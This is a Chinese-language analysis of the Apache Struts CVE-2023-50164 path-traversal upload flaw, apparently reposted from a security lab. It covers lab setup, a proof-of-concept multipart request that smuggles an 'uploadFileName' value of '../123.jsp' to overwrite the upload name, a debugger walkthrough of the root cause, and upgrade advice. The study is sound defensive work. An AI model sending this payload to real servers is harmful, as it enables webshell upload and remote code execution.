一、漏洞描述
1、概述
Apache Struts 是一个开源用于构建企业级Java Web应用的MVC框架。2023年12月,官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞。
攻击者可以通过污染相关上传参数导致目录遍历,若在具体代码环境中允许上传危险后缀文件(例如 jsp文件),则攻击者可能结合该目录遍历漏洞,可能导致上传webshell 至可解析目录,从而执行任意代码。
2、影响范围
2.0.0 <= Apache Struts <= 2.3.37
2.5.0 <= Apache Struts <= 2.5.32
6.0.0 <= Apache Struts <= 6.3.0
二、环境搭建
1、Stuts版本:Struts 6.3.0
2、搭建工具:IDEA2024
3、搭建过程
新建项目:
项目创建成功后在POM.xml
中引入struts2依赖项:
</dependency>
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>
定义一个上传功能的UploadAction
类:
package com.env.struts2;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.*;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
在资源文件夹下新建struts.xml
定义Acation
和代码之间的映射关系:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.env.struts2.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>
在web.xml
中配置外部XML添加Filter:
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>
至此环境搭建完成。
四、漏洞复现
新建一个HTTP请求正常上传文件:
POST /struts2_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1:80
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
test
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
显示上传成功:
使用构造POC上传文件:
POST /struts2_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1:80
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
aaaaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain
../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
成功实现目录穿越,恶意用户可上传webshell实现任意代码执行:
五、漏洞分析
通过Poc上传测试文件,这里通过debug查看文件上传的处理流程,发现FileUploadInterceptor
将获取HTTP请求参数的文件名通过multiWrapper.getFileNames
处理:
然后将文件名list转化成数组字符串后由org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName
做文件名相关处理(这里做的是目录穿越测试,实现拦截,则这里是没有漏洞成因的):
继续debug可以看到过滤完文件名之后定义contentTypeName
和fileName
的命名规范(这里限制了定义的UploadAction中的命名格式需要和规范保持一致),然后将上传文件相关参数以键值形式组合在一起存放到Action上下文中,即org.apache.struts2.dispatcher.HttpParameters
对象当中:
继续debug查看Action中的参数被反射到Action变量过程,在com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept
中调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters
做参数绑定,且存储结构类型为TreeMap:
(注:Map存储中的TreeMap类型在对键进行遍历的时候Ascii码在前先比Ascii码在后的先遍历到,这里也就为为后面的变量覆盖造成参数污染留下隐患。)
继续debug至ognl.OgnlRuntime#getDeclaredMethods
方法中,发现通过capitalizeBeanPropertyName
将属性名转化处理:
步入capitalizeBeanPropertyName
查看这个函数可知如果属性第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写(实例化时会将Poc构造的属性名返回成UploadfileName):
debug至ognl.OgnlRuntime#addIfAccessor
,它用来判断方法名是否以特定规则。例以大写属性名结尾,即:UploadFileName结尾和是否以set或者get开头(这里限制构造请求参数),符合则就会将方法添加result.list
中:
至此就可以完成注入,造成参数污染,形成变量覆盖,导致漏洞形成。
六、漏洞修复建议。
1、升级至Struts 2.5.33或Struts 6.3.0.2或更高版本。
原文始发于微信公众号(长风实验室):Apache Struts2 路径穿越文件上传漏洞分析(cve-2023-50164)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论